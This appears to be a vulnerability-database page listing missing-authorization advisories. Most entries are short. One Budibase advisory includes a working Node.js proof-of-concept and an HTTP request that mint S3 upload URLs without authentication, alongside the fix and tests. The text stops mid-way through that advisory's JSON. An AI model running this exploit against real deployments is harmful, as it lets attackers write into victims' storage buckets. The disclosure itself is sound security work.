Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14869 vulnerabilities reference this CWE, most recent first.

GHSA-34CQ-2V7H-94FC

Vulnerability from github – Published: 2023-07-12 09:30 – Updated: 2024-04-04 06:02
VLAI
Details

In messaging service, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-30921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-12T09:15:11Z",
    "severity": "MODERATE"
  },
  "details": "In messaging service, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.",
  "id": "GHSA-34cq-2v7h-94fc",
  "modified": "2024-04-04T06:02:33Z",
  "published": "2023-07-12T09:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30921"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/1676902764208259073"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-34H8-39QG-FG5M

Vulnerability from github – Published: 2023-09-04 03:30 – Updated: 2024-04-04 07:23
VLAI
Details

In vowifiservice, there is a possible missing permission check.This could lead to local escalation of privilege with no additional execution privileges

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-38452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-04T02:15:09Z",
    "severity": "HIGH"
  },
  "details": "In vowifiservice, there is a possible missing permission check.This could lead to local escalation of privilege with no additional execution privileges",
  "id": "GHSA-34h8-39qg-fg5m",
  "modified": "2024-04-04T07:23:41Z",
  "published": "2023-09-04T03:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38452"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1698296481653522434"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-34MP-R53M-HH4V

Vulnerability from github – Published: 2025-01-25 09:30 – Updated: 2026-04-08 18:33
VLAI
Details

The Youzify – BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the delete_user_review() and delete_review() functions in all versions up to, and including, 1.3.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete other user's reviews.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-12113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-25T08:15:07Z",
    "severity": "MODERATE"
  },
  "details": "The Youzify \u2013 BuddyPress Community, User Profile, Social Network \u0026 Membership Plugin for WordPress plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the delete_user_review() and delete_review() functions in all versions up to, and including, 1.3.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete other user\u0027s reviews.",
  "id": "GHSA-34mp-r53m-hh4v",
  "modified": "2026-04-08T18:33:47Z",
  "published": "2025-01-25T09:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12113"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3227855%40youzify\u0026new=3227855%40youzify\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/youzify"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/977e407c-0650-454f-98bd-b39bb8c8c61f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-34PQ-4RV8-3MCC

Vulnerability from github – Published: 2023-02-12 06:30 – Updated: 2023-02-21 21:30
VLAI
Details

In engineermode services, there is a missing permission check. This could lead to local escalation of privilege with system execution privileges needed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-47341"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-12T04:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In engineermode services, there is a missing permission check. This could lead to local escalation of privilege with system execution privileges needed.",
  "id": "GHSA-34pq-4rv8-3mcc",
  "modified": "2023-02-21T21:30:19Z",
  "published": "2023-02-12T06:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47341"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-34QW-68VH-CR77

Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2026-01-20 15:32
VLAI
Details

Missing Authorization vulnerability in Metagauss EventPrime eventprime-event-calendar-management allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects EventPrime: from n/a through <= 4.2.4.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-63006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T16:18:05Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Metagauss EventPrime eventprime-event-calendar-management allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects EventPrime: from n/a through \u003c= 4.2.4.1.",
  "id": "GHSA-34qw-68vh-cr77",
  "modified": "2026-01-20T15:32:03Z",
  "published": "2025-12-09T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63006"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/eventprime-event-calendar-management/vulnerability/wordpress-eventprime-plugin-4-2-4-1-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/eventprime-event-calendar-management/vulnerability/wordpress-eventprime-plugin-4-2-4-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3522-F7V7-PV57

Vulnerability from github – Published: 2024-09-25 03:30 – Updated: 2024-09-25 03:30
VLAI
Details

The Uncanny Groups for LearnDash plugin for WordPress is vulnerable to user group add due to a missing capability check on the /wp-json/ulgm_management/v1/add_user/ REST API endpoint in all versions up to, and including, 6.1.0.1. This makes it possible for authenticated attackers, with group leader-level access and above, to add users to their group which ultimately allows them to leverage CVE-2024-8349 and gain admin access to the site.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-8350"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-25T03:15:04Z",
    "severity": "LOW"
  },
  "details": "The Uncanny Groups for LearnDash plugin for WordPress is vulnerable to user group add due to a missing capability check on the /wp-json/ulgm_management/v1/add_user/ REST API endpoint in all versions up to, and including, 6.1.0.1. This makes it possible for authenticated attackers, with group leader-level access and above, to add users to their group which ultimately allows them to leverage CVE-2024-8349 and gain admin access to the site.",
  "id": "GHSA-3522-f7v7-pv57",
  "modified": "2024-09-25T03:30:36Z",
  "published": "2024-09-25T03:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8350"
    },
    {
      "type": "WEB",
      "url": "https://github.com/karlemilnikka/CVE-2024-8349-and-CVE-2024-8350"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a38a58de-5f7d-4033-9a65-41b590b7d510?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-354C-5QGC-43H7

Vulnerability from github – Published: 2023-10-08 06:30 – Updated: 2024-04-04 08:25
VLAI
Details

In Messaging, there is a possible missing permission check. This could lead to local information disclosure with no additional execution privileges needed

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-40648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-08T04:15:57Z",
    "severity": "MODERATE"
  },
  "details": "In Messaging, there is a possible missing permission check. This could lead to local information disclosure with no additional execution privileges needed",
  "id": "GHSA-354c-5qgc-43h7",
  "modified": "2024-04-04T08:25:01Z",
  "published": "2023-10-08T06:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40648"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1707266966118531074"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3556-V99J-J522

Vulnerability from github – Published: 2026-01-06 06:31 – Updated: 2026-01-06 06:31
VLAI
Details

The Popup and Slider Builder by Depicter – Add Email collecting Popup, Popup Modal, Coupon Popup, Image Slider, Carousel Slider, Post Slider Carousel plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'store' function of the RulesAjaxController class in all versions up to, and including, 4.0.7. This makes it possible for unauthenticated attackers to update pop-up display settings.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-11370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-06T04:15:51Z",
    "severity": "MODERATE"
  },
  "details": "The Popup and Slider Builder by Depicter \u2013 Add Email collecting Popup, Popup Modal, Coupon Popup, Image Slider, Carousel Slider, Post Slider Carousel plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the \u0027store\u0027 function of the RulesAjaxController class in all versions up to, and including, 4.0.7. This makes it possible for unauthenticated attackers to update pop-up display settings.",
  "id": "GHSA-3556-v99j-j522",
  "modified": "2026-01-06T06:31:27Z",
  "published": "2026-01-06T06:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nguy3nB4oo11/depicter-vuln-repro/blob/main/RulesAjaxController.php"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nguy3nB4oo11/depicter-vuln-repro/blob/main/ajax.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3428118/depicter/trunk/app/routes/ajax.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d35faf39-4882-4393-9b77-57dc45ac9d04?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-35C4-RVC8-FRHM

Vulnerability from github – Published: 2026-06-22 23:19 – Updated: 2026-07-21 15:04
VLAI
Summary
Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials
Details

Summary

The Budibase server route POST /api/attachments/:datasourceId/url (packages/server/src/api/routes/static.ts) is registered with only the recaptcha middleware. There is no authorized(...) middleware in the chain. The controller (packages/server/src/api/controllers/static/index.ts::getSignedUploadURL) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored accessKeyId / secretAccessKey, and returns an AWS Signature V4 pre-signed PutObjectCommand URL for the caller-supplied bucket and key. The bucket is not pinned to the datasource's configured bucket.

The workspace context required by sdk.datasources.get is sourced by getWorkspaceIdFromCtx (packages/backend-core/src/utils/utils.ts) from any of: the x-budibase-app-id header, the JSON body appId, a path segment that begins with the workspace prefix, or ?appId=. auth.buildAuthMiddleware([], { publicAllowed: true }) runs before any of this and explicitly allows anonymous requests. The currentWorkspace middleware's "deny access to dev preview" branch only triggers under isBrowser(ctx) && !isApiKey(ctx); isBrowser checks the parsed User-Agent for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.

Net effect: an anonymous attacker who knows or can enumerate a workspace id (app_...) and an S3-source datasource id (ds_...) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the publicUrl so the attacker knows exactly where their PUT lands. Because bucket is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.

Affected code

packages/server/src/api/routes/static.ts at HEAD 56d2a984 (master, 2026-05-18):

import { permissions } from "@budibase/backend-core"
import Router from "@koa/router"
import { authorizedMiddleware as authorized } from "../../middleware/authorized"
import recaptcha from "../../middleware/recaptcha"
import { paramResource } from "../../middleware/resourceId"
import * as controller from "../controllers/static"

const { BUILDER, PermissionType, PermissionLevel } = permissions

const router: Router = new Router()
// ...
router
  .post("/api/attachments/process", authorized(BUILDER), controller.uploadFile)
  .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)
  .post(
    "/api/attachments/:tableId/upload",
    recaptcha,
    paramResource("tableId"),
    authorized(PermissionType.TABLE, PermissionLevel.WRITE),
    controller.uploadFile
  )
  // ...
  .post(
    "/api/attachments/:datasourceId/url",
    recaptcha,
    controller.getSignedUploadURL                       // <- no authorized(...)
  )

Note the asymmetry: every other mutating endpoint on this router carries an authorized(...) middleware. The signed-URL endpoint does not.

packages/server/src/api/controllers/static/index.ts:595-645:

export const getSignedUploadURL = async function (ctx) {
  let datasource
  try {
    const { datasourceId } = ctx.params
    datasource = await sdk.datasources.get(datasourceId, { enriched: true })
    if (!datasource) {
      ctx.throw(400, "The specified datasource could not be found")
    }
  } catch (error) {
    ctx.throw(400, "The specified datasource could not be found")
  }

  let signedUrl, publicUrl
  const awsRegion = (datasource?.config?.region || "eu-west-1") as string
  if (datasource?.source === "S3") {
    const { bucket, key } = ctx.request.body || {}
    if (!bucket || !key) {
      ctx.throw(400, "bucket and key values are required")
    }
    try {
      let endpoint = datasource?.config?.endpoint
      if (endpoint && !utils.urlHasProtocol(endpoint)) {
        endpoint = `https://${endpoint}`
      }
      const s3 = new S3({
        region: awsRegion,
        endpoint,
        credentials: {
          accessKeyId: datasource?.config?.accessKeyId as string,
          secretAccessKey: datasource?.config?.secretAccessKey as string,
        },
      })
      const params = { Bucket: bucket, Key: key }
      signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))
      if (endpoint) {
        publicUrl = `${endpoint}/${bucket}/${key}`
      } else {
        publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`
      }
    } catch (error: any) {
      ctx.throw(400, error)
    }
  }

  ctx.body = { signedUrl, publicUrl }
}

sdk.datasources.get(datasourceId, { enriched: true }) (packages/server/src/sdk/workspace/datasources/datasources.ts) does the workspace DB read and also substitutes {{ env.* }} references in the config via processObjectSync, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.

recaptcha (packages/server/src/middleware/recaptcha.ts) short-circuits to next() whenever the workspace either is not a production workspace or does not have features.recaptchaEnabled = true on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the x-budibase-type: builder header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.

Reproduction

Proof-of-concept Node.js script (no AWS SDK dependency, no external libraries):

#!/usr/bin/env node
// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase
// usage: node poc.js <budibase-base-url> <app-id> <datasource-id>

"use strict"
const http = require("http")
const https = require("https")
const { URL } = require("url")

function postJson(targetUrl, headers, body) {
  return new Promise((resolve, reject) => {
    const u = new URL(targetUrl)
    const lib = u.protocol === "https:" ? https : http
    const payload = Buffer.from(JSON.stringify(body), "utf8")
    const req = lib.request(
      {
        method: "POST",
        protocol: u.protocol,
        hostname: u.hostname,
        port: u.port || (u.protocol === "https:" ? 443 : 80),
        path: u.pathname + u.search,
        headers: Object.assign(
          {
            "Content-Type": "application/json",
            "Content-Length": payload.length,
            // Deliberately not a recognised browser UA so the
            // currentWorkspace dev-preview redirect does not fire.
            "User-Agent": "budibase-poc/1.0",
          },
          headers || {}
        ),
      },
      res => {
        const chunks = []
        res.on("data", c => chunks.push(c))
        res.on("end", () =>
          resolve({
            status: res.statusCode,
            body: Buffer.concat(chunks).toString("utf8"),
          })
        )
      }
    )
    req.on("error", reject)
    req.write(payload)
    req.end()
  })
}

async function main() {
  const [baseUrl, appId, datasourceId] = process.argv.slice(2)
  if (!baseUrl || !appId || !datasourceId) {
    console.error("usage: node poc.js <baseUrl> <appId> <datasourceId>")
    process.exit(2)
  }
  const bucket = process.env.POC_BUCKET || "attacker-chosen-bucket"
  const key = process.env.POC_KEY || `pwn/${Date.now()}.html`
  const url = baseUrl.replace(/\/$/, "") +
    `/api/attachments/${encodeURIComponent(datasourceId)}/url`
  const resp = await postJson(
    url,
    { "x-budibase-app-id": appId },
    { bucket, key }
  )
  console.log(`HTTP ${resp.status}`)
  console.log(resp.body)
}

main().catch(err => {
  console.error(err)
  process.exit(1)
})

Wire-level request:

POST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1
Host: budibase.example:10000
x-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
Content-Type: application/json
User-Agent: budibase-poc/1.0
Content-Length: 36

{"bucket":"victim-bucket","key":"x.html"}

Response:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "signedUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4_request&X-Amz-Date=20260519T120000Z&X-Amz-Expires=900&X-Amz-Signature=...&X-Amz-SignedHeaders=host&x-id=PutObject",
  "publicUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html"
}

The attacker then PUTs arbitrary bytes to signedUrl and they land at publicUrl, signed by — and IAM-scoped to — the victim's stored S3 credentials.

The existing test that exercises the endpoint, packages/server/src/api/routes/tests/static.spec.ts:123-146, sends the same request with config.defaultHeaders() (a builder auth cookie). That confirms the request shape; no negative-auth test (.set({}) or publicHeaders()) exists for this route, which is how the missing authorized(...) slipped past code review.

Impact

  • Confidentiality / Integrity: any anonymous internet user can write arbitrary objects to any bucket the configured IAM credentials can write to. The bucket parameter is attacker-controlled, so the blast radius is the full IAM policy attached to the credential, not just the bucket the operator wired into the datasource. Typical realistic outcomes: planting HTML/JS that the bucket serves at a known path (the response gives back publicUrl), overwriting an existing key the application later reads back as trusted data, racking up S3 storage / PUT cost.
  • Availability: storage / cost exhaustion. Repeated PUTs of large objects to attacker-chosen keys cost the victim.
  • Authorization scope leak: the endpoint discloses (a) whether a given datasourceId exists and is S3-typed (200 vs 400 'not found'), and (b) the resolved publicUrl which includes the region.

No MFA / OAuth / per-user check exists between the request and the issued pre-signed URL. The credentials are not returned in plaintext, but the pre-signed URL is functionally equivalent to a 15-minute capability to PUT to the chosen bucket/key.

Suggested fix

Attach authorized(PermissionType.TABLE, PermissionLevel.WRITE) (or a higher gate, e.g. BUILDER, depending on intended audience) to the route, mirroring the sibling /api/attachments/:tableId/upload registration. Additionally, validate that the requested bucket matches datasource.config.bucket so the IAM blast radius is reduced to the configured bucket only.

Minimal patch shape:

.post(
  "/api/attachments/:datasourceId/url",
  recaptcha,
  paramResource("datasourceId"),
  authorized(PermissionType.TABLE, PermissionLevel.WRITE),
  controller.getSignedUploadURL
)

And in the controller, before calling getSignedUrl:

const configuredBucket = datasource?.config?.bucket
if (configuredBucket && bucket !== configuredBucket) {
  ctx.throw(400, "bucket does not match configured datasource bucket")
}

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com).

Fix PR

A candidate fix has been prepared on the temporary private fork that was created from this advisory:

  • PR: https://github.com/Budibase/budibase-ghsa-35c4-rvc8-frhm/pull/1
  • Branch: fix/attachment-url-auth-and-bucket-pin
  • Commit: Require builder auth and pin bucket on POST /api/attachments/:datasourceId/url

The patch is the canonical two-part fix:

  1. Attach authorized(BUILDER) to POST /api/attachments/:datasourceId/url on packages/server/src/api/routes/static.ts, mirroring the surrounding POST /api/attachments/process and POST /api/pwa/process-zip registrations. Anonymous callers now receive 401 regardless of whether the recaptcha middleware fails open.
  2. Pin Bucket to datasource.config.bucket inside getSignedUploadURL (packages/server/src/api/controllers/static/index.ts) and ignore any bucket value supplied in the request body. If the datasource has no bucket configured, the route now returns 400 instead of issuing an unbounded pre-signed URL.

Two regression tests are added in packages/server/src/api/routes/tests/static.spec.ts:

  • should reject unauthenticated callers (anonymous request with config.publicHeaders() now returns 401, was 200 before).
  • should ignore a client-supplied bucket and pin to the datasource's configured bucket (authenticated request with body { bucket: "other-bucket", key: "bar" } returns a signed URL bound to foo.s3.eu-west-1.amazonaws.com/bar, not other-bucket).

Test run on the patch (Jest, packages/server):

PASS src/api/routes/tests/static.spec.ts
  /static
    /attachments
      generateSignedUrls
        v should be able to generate a signed upload URL
        v should reject unauthenticated callers
        v should ignore a client-supplied bucket and pin to the datasource's configured bucket
        v should reject when the datasource has no configured bucket
        v should handle an invalid datasource ID
        v should require a key parameter
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T23:19:26Z",
    "nvd_published_at": "2026-06-26T21:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Budibase server route `POST /api/attachments/:datasourceId/url` ([`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts)) is registered with **only** the `recaptcha` middleware. There is no `authorized(...)` middleware in the chain. The controller (`packages/server/src/api/controllers/static/index.ts::getSignedUploadURL`) looks the requested datasource up, instantiates an AWS S3 client with the datasource\u0027s stored `accessKeyId` / `secretAccessKey`, and returns an AWS Signature V4 pre-signed `PutObjectCommand` URL for the caller-supplied `bucket` and `key`. The `bucket` is not pinned to the datasource\u0027s configured bucket.\n\nThe workspace context required by `sdk.datasources.get` is sourced by `getWorkspaceIdFromCtx` ([`packages/backend-core/src/utils/utils.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/backend-core/src/utils/utils.ts)) from any of: the `x-budibase-app-id` header, the JSON body `appId`, a path segment that begins with the workspace prefix, or `?appId=`. `auth.buildAuthMiddleware([], { publicAllowed: true })` runs before any of this and explicitly allows anonymous requests. The `currentWorkspace` middleware\u0027s \"deny access to dev preview\" branch only triggers under `isBrowser(ctx) \u0026\u0026 !isApiKey(ctx)`; `isBrowser` checks the parsed `User-Agent` for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.\n\nNet effect: an anonymous attacker who knows or can enumerate a workspace id (`app_...`) and an S3-source datasource id (`ds_...`) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim\u0027s IAM identity. The endpoint also returns the `publicUrl` so the attacker knows exactly where their PUT lands. Because `bucket` is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.\n\n## Affected code\n\n[`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts) at HEAD `56d2a984` (`master`, 2026-05-18):\n\n```ts\nimport { permissions } from \"@budibase/backend-core\"\nimport Router from \"@koa/router\"\nimport { authorizedMiddleware as authorized } from \"../../middleware/authorized\"\nimport recaptcha from \"../../middleware/recaptcha\"\nimport { paramResource } from \"../../middleware/resourceId\"\nimport * as controller from \"../controllers/static\"\n\nconst { BUILDER, PermissionType, PermissionLevel } = permissions\n\nconst router: Router = new Router()\n// ...\nrouter\n  .post(\"/api/attachments/process\", authorized(BUILDER), controller.uploadFile)\n  .post(\"/api/pwa/process-zip\", authorized(BUILDER), controller.processPWAZip)\n  .post(\n    \"/api/attachments/:tableId/upload\",\n    recaptcha,\n    paramResource(\"tableId\"),\n    authorized(PermissionType.TABLE, PermissionLevel.WRITE),\n    controller.uploadFile\n  )\n  // ...\n  .post(\n    \"/api/attachments/:datasourceId/url\",\n    recaptcha,\n    controller.getSignedUploadURL                       // \u003c- no authorized(...)\n  )\n```\n\nNote the asymmetry: every other mutating endpoint on this router carries an `authorized(...)` middleware. The signed-URL endpoint does not.\n\n[`packages/server/src/api/controllers/static/index.ts:595-645`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts#L595-L645):\n\n```ts\nexport const getSignedUploadURL = async function (ctx) {\n  let datasource\n  try {\n    const { datasourceId } = ctx.params\n    datasource = await sdk.datasources.get(datasourceId, { enriched: true })\n    if (!datasource) {\n      ctx.throw(400, \"The specified datasource could not be found\")\n    }\n  } catch (error) {\n    ctx.throw(400, \"The specified datasource could not be found\")\n  }\n\n  let signedUrl, publicUrl\n  const awsRegion = (datasource?.config?.region || \"eu-west-1\") as string\n  if (datasource?.source === \"S3\") {\n    const { bucket, key } = ctx.request.body || {}\n    if (!bucket || !key) {\n      ctx.throw(400, \"bucket and key values are required\")\n    }\n    try {\n      let endpoint = datasource?.config?.endpoint\n      if (endpoint \u0026\u0026 !utils.urlHasProtocol(endpoint)) {\n        endpoint = `https://${endpoint}`\n      }\n      const s3 = new S3({\n        region: awsRegion,\n        endpoint,\n        credentials: {\n          accessKeyId: datasource?.config?.accessKeyId as string,\n          secretAccessKey: datasource?.config?.secretAccessKey as string,\n        },\n      })\n      const params = { Bucket: bucket, Key: key }\n      signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))\n      if (endpoint) {\n        publicUrl = `${endpoint}/${bucket}/${key}`\n      } else {\n        publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`\n      }\n    } catch (error: any) {\n      ctx.throw(400, error)\n    }\n  }\n\n  ctx.body = { signedUrl, publicUrl }\n}\n```\n\n`sdk.datasources.get(datasourceId, { enriched: true })` ([`packages/server/src/sdk/workspace/datasources/datasources.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/sdk/workspace/datasources/datasources.ts)) does the workspace DB read and **also** substitutes `{{ env.* }}` references in the config via `processObjectSync`, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.\n\n`recaptcha` ([`packages/server/src/middleware/recaptcha.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/middleware/recaptcha.ts)) short-circuits to `next()` whenever the workspace either is not a production workspace or does not have `features.recaptchaEnabled = true` on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the `x-budibase-type: builder` header skip the check, but that branch is irrelevant here \u2014 the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.\n\n## Reproduction\n\nProof-of-concept Node.js script (no AWS SDK dependency, no external libraries):\n\n```js\n#!/usr/bin/env node\n// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase\n// usage: node poc.js \u003cbudibase-base-url\u003e \u003capp-id\u003e \u003cdatasource-id\u003e\n\n\"use strict\"\nconst http = require(\"http\")\nconst https = require(\"https\")\nconst { URL } = require(\"url\")\n\nfunction postJson(targetUrl, headers, body) {\n  return new Promise((resolve, reject) =\u003e {\n    const u = new URL(targetUrl)\n    const lib = u.protocol === \"https:\" ? https : http\n    const payload = Buffer.from(JSON.stringify(body), \"utf8\")\n    const req = lib.request(\n      {\n        method: \"POST\",\n        protocol: u.protocol,\n        hostname: u.hostname,\n        port: u.port || (u.protocol === \"https:\" ? 443 : 80),\n        path: u.pathname + u.search,\n        headers: Object.assign(\n          {\n            \"Content-Type\": \"application/json\",\n            \"Content-Length\": payload.length,\n            // Deliberately not a recognised browser UA so the\n            // currentWorkspace dev-preview redirect does not fire.\n            \"User-Agent\": \"budibase-poc/1.0\",\n          },\n          headers || {}\n        ),\n      },\n      res =\u003e {\n        const chunks = 